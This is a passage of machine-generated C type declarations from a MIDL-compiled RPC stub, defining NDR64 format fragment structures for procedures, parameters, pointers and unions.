_NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag545_t;\nextern const __midl_frag545_t __midl_frag545;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag538_t;\nextern const __midl_frag538_t __midl_frag538;\n\ntypedef \nstruct _NDR64_NON_CONFORMANT_STRING_FORMAT\n__midl_frag537_t;\nextern const __midl_frag537_t __midl_frag537;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n    } frag2;\n}\n__midl_frag536_t;\nextern const __midl_frag536_t __midl_frag536;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_NOOP frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n}\n__midl_frag535_t;\nextern const __midl_frag535_t __midl_frag535;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag532_t;\nextern const __midl_frag532_t __midl_frag532;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag531_t;\nextern const __midl_frag531_t __midl_frag531;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag530_t;\nextern const __midl_frag530_t __midl_frag530;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag526_t;\nextern const __midl_frag526_t __midl_frag526;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag523_t;\nextern const __midl_frag523_t __midl_frag523;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag522_t;\nextern const __midl_frag522_t __midl_frag522;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag476_t;\nextern const __midl_frag476_t __midl_frag476;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag475_t;\nextern const __midl_frag475_t __midl_frag475;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag474_t;\nextern const __midl_frag474_t __midl_frag474;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag473_t;\nextern const __midl_frag473_t __midl_frag473;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag472_t;\nextern const __midl_frag472_t __midl_frag472;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag471_t;\nextern const __midl_frag471_t __midl_frag471;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    struct _NDR64_UNION_ARM frag13;\n    struct _NDR64_UNION_ARM frag14;\n    struct _NDR64_UNION_ARM frag15;\n    struct _NDR64_UNION_ARM frag16;\n    struct _NDR64_UNION_ARM frag17;\n    struct _NDR64_UNION_ARM frag18;\n    struct _NDR64_UNION_ARM frag19;\n    struct _NDR64_UNION_ARM frag20;\n    struct _NDR64_UNION_ARM frag21;\n    struct _NDR64_UNION_ARM frag22;\n    struct _NDR64_UNION_ARM frag23;\n    struct _NDR64_UNION_ARM frag24;\n    struct _NDR64_UNION_ARM frag25;\n    struct _NDR64_UNION_ARM frag26;\n    struct _NDR64_UNION_ARM frag27;\n    struct _NDR64_UNION_ARM frag28;\n    struct _NDR64_UNION_ARM frag29;\n    struct _NDR64_UNION_ARM frag30;\n    struct _NDR64_UNION_ARM frag31;\n    struct _NDR64_UNION_ARM frag32;\n    struct _NDR64_UNION_ARM frag33;\n    struct _NDR64_UNION_ARM frag34;\n    struct _NDR64_UNION_ARM frag35;\n    struct _NDR64_UNION_ARM frag36;\n    struct _NDR64_UNION_ARM frag37;\n    struct _NDR64_UNION_ARM frag38;\n    struct _NDR64_UNION_ARM frag39;\n    struct _NDR64_UNION_ARM frag40;\n    struct _NDR64_UNION_ARM frag41;\n    struct _NDR64_UNION_ARM frag42;\n    struct _NDR64_UNION_ARM frag43;\n    struct _NDR64_UNION_ARM frag44;\n    struct _NDR64_UNION_ARM frag45;\n    struct _NDR64_UNION_ARM frag46;\n    struct _NDR64_UNION_ARM frag47;\n    struct _NDR64_UNION_ARM frag48;\n    struct _NDR64_UNION_ARM frag49;\n    struct _NDR64_UNION_ARM frag50;\n    struct _NDR64_UNION_ARM frag51;\n    struct _NDR64_UNION_ARM frag52;\n    struct _NDR64_UNION_ARM frag53;\n    NDR64_UINT32 frag54;\n}\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag465_t;\nextern const __midl_frag465_t __midl_frag465;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag463_t;\nextern const __midl_frag463_t __midl_frag463;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag376_t;\nextern const __midl_frag376_t __midl_frag376;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag373_t;\nextern const __midl_frag373_t __midl_frag373;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag370_t;\nextern const __midl_frag370_t __midl_frag370;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag368_t;\nextern const __midl_frag368_t __midl_frag368;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_MEMPAD_FORMAT frag17;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n    } frag2;\n}\n__midl_frag362_t;\nextern const __midl_frag362_t __midl_frag362;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n    } frag2;\n}\n__midl_frag356_t;\nextern const __midl_frag356_t __midl_frag356;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag354_t;\nextern const __midl_frag354_t __midl_frag354;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag351_t;\nextern const __midl_frag351_t __midl_frag351;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag349_t;\nextern const __midl_frag349_t __midl_frag349;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag347_t;\nextern const __midl_frag347_t __midl_frag347;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag343_t;\nextern const __midl_frag343_t __midl_frag343;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag342_t;\nextern const __midl_frag342_t __midl_frag342;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag341_t;\nextern const __midl_frag341_t __midl_frag341;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag340_t;\nextern const __midl_frag340_t __midl_frag340;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag339_t;\nextern const __midl_frag339_t __midl_frag339;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag336_t;\nextern const __midl_frag336_t __midl_frag336;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag331_t;\nextern const __midl_frag331_t __midl_frag331;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag324_t;\nextern const __midl_frag324_t __midl_frag324;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag313_t;\nextern const __midl_frag313_t __midl_frag313;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag312_t;\nextern const __midl_frag312_t __midl_frag312;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag311_t;\nextern const __midl_frag311_t __midl_frag311;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag310_t;\nextern const __midl_frag310_t __midl_frag310;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag308_t;\nextern const __midl_frag308_t __midl_frag308;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag307_t;\nextern const __midl_frag307_t __midl_frag307;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag306_t;\nextern const __midl_frag306_t __midl_frag306;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag305_t;\nextern const __midl_frag305_t __midl_frag305;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag303_t;\nextern const __midl_frag303_t __midl_frag303;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag301_t;\nextern const __midl_frag301_t __midl_frag301;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag295_t;\nextern const __midl_frag295_t __midl_frag295;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag275_t;\nextern const __midl_frag275_t __midl_frag275;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag264_t;\nextern const __midl_frag264_t __midl_frag264;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag263_t;\nextern const __midl_frag263_t __midl_frag263;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag261_t;\nextern const __midl_frag261_t __midl_frag261;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag259_t;\nextern const __midl_frag259_t __midl_frag259;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag258_t;\nextern const __midl_frag258_t __midl_frag258;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag256_t;\nextern const __midl_frag256_t __midl_frag256;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag251_t;\nextern const __midl_frag251_t __midl_frag251;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag250_t;\nextern const __midl_frag250_t __midl_frag250;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag249_t;\nextern const __midl_frag249_t __midl_frag249;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag248_t;\nextern const __midl_frag248_t __midl_frag248;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag246_t;\nextern const __midl_frag246_t __midl_frag246;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag245_t;\nextern const __midl_frag245_t __midl_frag245;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag244_t;\nextern const __midl_frag244_t __midl_frag244;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag243_t;\nextern const __midl_frag243_t __midl_frag243;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag240_t;\nextern const __midl_frag240_t __midl_frag240;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag239_t;\nextern const __midl_frag239_t __midl_frag239;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag238_t;\nextern const __midl_frag238_t __midl_frag238;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag236_t;\nextern const __midl_frag236_t __midl_frag236;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag235_t;\nextern const __midl_frag235_t __midl_frag235;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag234_t;\nextern const __midl_frag234_t __midl_frag234;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag231_t;\nextern const __midl_frag231_t __midl_frag231;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag227_t;\nextern const __midl_frag227_t __midl_frag227;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag225_t;\nextern const __midl_frag225_t __midl_frag225;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag224_t;\nextern const __midl_frag224_t __midl_frag224;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_MEMPAD_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n    } frag2;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag211_t;\nextern const __midl_frag211_t __midl_frag211;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag209_t;\nextern const __midl_frag209_t __midl_frag209;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct 